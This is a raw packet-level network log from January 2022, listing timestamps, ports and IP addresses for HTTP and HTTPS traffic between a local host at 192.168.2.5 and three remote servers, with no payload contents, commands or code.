Jan 4, 2022 19:33:56.454011917 CET	49888	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.502484083 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.502506971 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.502523899 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.502573013 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.502609015 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.502712011 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.502728939 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.502744913 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.502871990 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.502890110 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.502938032 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.503216028 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.503235102 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.503277063 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.503295898 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.503426075 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.503750086 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.503767014 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.503783941 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.503843069 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.503860950 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.508232117 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508251905 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508270025 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508285046 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508301020 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508317947 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508377075 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.508399010 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.508727074 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508744001 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508758068 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508773088 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508789062 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.508826971 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.508861065 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.508867979 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.509177923 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.509234905 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.509251118 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.509267092 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.509283066 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.509327888 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.509346962 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.509782076 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.509807110 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.509826899 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.509845972 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.509861946 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.509888887 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.509907961 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.509913921 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.510277033 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.510293961 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.510309935 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.510325909 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.510421038 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.510799885 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.510821104 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.510852098 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.510905027 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.510925055 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.511318922 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.511336088 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.511483908 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.511866093 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.511883020 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.511895895 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.511912107 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.511953115 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.511969090 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.528882980 CET	80	49888	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:56.574340105 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.574376106 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.574394941 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.574412107 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.574445963 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.574527979 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.574554920 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.574769020 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.574800968 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.574826956 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.574851036 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.574866056 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.574875116 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.574918985 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.575253010 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.575278044 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.575314999 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.575333118 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.575336933 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.575376987 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.575386047 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.575429916 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.575741053 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.575759888 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.575776100 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.575793028 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.575845957 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.575848103 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.575860977 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.576309919 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.576524019 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.576759100 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.580300093 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.580444098 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.580471039 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.580554962 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.580611944 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.580626011 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.580672026 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.580796957 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.580877066 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.580945015 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581002951 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581058979 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581109047 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581155062 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.581163883 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.581314087 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581415892 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581473112 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581531048 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581532955 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.581541061 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.581587076 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581835985 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581877947 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581917048 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581955910 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.581973076 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.581981897 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.581994057 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.582166910 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.582329035 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.582372904 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.582870007 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.583442926 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.583508015 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.583528042 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.583846092 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.583887100 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.584455967 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.591389894 CET	80	49888	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:56.591485023 CET	49888	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.591694117 CET	49888	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:56.598810911 CET	49886	80	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.636301041 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.636326075 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.636411905 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.638883114 CET	80	49886	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.646189928 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.646209002 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.646226883 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.646294117 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.646317005 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.646367073 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.646410942 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.646706104 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.646713018 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.646733046 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.646749020 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.646764994 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.646801949 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.646811008 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.646862030 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647234917 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647253990 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647269964 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647286892 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647336960 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.647351980 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.647413969 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647737026 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647763968 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647782087 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647799015 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647814989 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.647833109 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.647926092 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.647942066 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.648323059 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.648834944 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.648871899 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.648870945 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.648931980 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.649328947 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.649419069 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.650619984 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.666356087 CET	80	49888	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:56.693865061 CET	49886	80	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.698309898 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.698340893 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.698363066 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.698581934 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.698750973 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.698775053 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.699192047 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.699276924 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.699302912 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.699323893 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.699347019 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.699404955 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.699801922 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.699825048 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.699851990 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.700016022 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.702240944 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.702263117 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.702334881 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.702409029 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.702754974 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.702778101 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.702810049 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.702847958 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.702868938 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.703248024 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.703277111 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.703341961 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.703361988 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.703501940 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.703797102 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.703811884 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.703841925 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.704603910 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.706245899 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.706394911 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.710350990 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.710390091 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.710467100 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.710846901 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.711014986 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.711209059 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.711678028 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.711708069 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.712699890 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.713100910 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.713119984 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.714309931 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.714348078 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.714646101 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.714695930 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.714798927 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.714849949 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.714891911 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.714947939 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.715029955 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.715186119 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.715291977 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.715329885 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.715367079 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.715396881 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.715698957 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.715734005 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.715796947 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.715832949 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.715866089 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.715872049 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.716305971 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.716355085 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.716393948 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.716887951 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.717070103 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.717502117 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.717681885 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.717894077 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.717931032 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.720635891 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.764266014 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.764333010 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.764446020 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.766129017 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.766803026 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.769061089 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.769078016 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.769392967 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.770282984 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.770503998 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.770729065 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.771214008 CET	49889	443	192.168.2.5	178.248.232.78
Jan 4, 2022 19:33:56.774306059 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.774333954 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.774353027 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.774369955 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.774386883 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.774399996 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.774421930 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.774729967 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.774750948 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.774769068 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.774789095 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.774811029 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.774830103 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.774857044 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.774873972 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.775300980 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.775326967 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.775346994 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.775365114 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.775381088 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.775429964 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.775448084 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.775768995 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.775799036 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.775816917 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.775835037 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.775849104 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.775857925 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.775857925 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.775998116 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.776319027 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.776652098 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.776669979 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.776730061 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.812870026 CET	443	49889	178.248.232.78	192.168.2.5
Jan 4, 2022 19:33:56.828349113 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.828394890 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.828424931 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.828457117 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.828485012 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.828497887 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.828524113 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.828538895 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.828783035 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.828815937 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.828845024 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.828896046 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.828932047 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.828934908 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.828988075 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.829370975 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.829473019 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.829505920 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.829543114 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.829585075 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.829617023 CET	80	49884	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:56.829669952 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.829687119 CET	49884	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:56.829826117 CET	80	49884	151.251.30.69	192.168.2.5
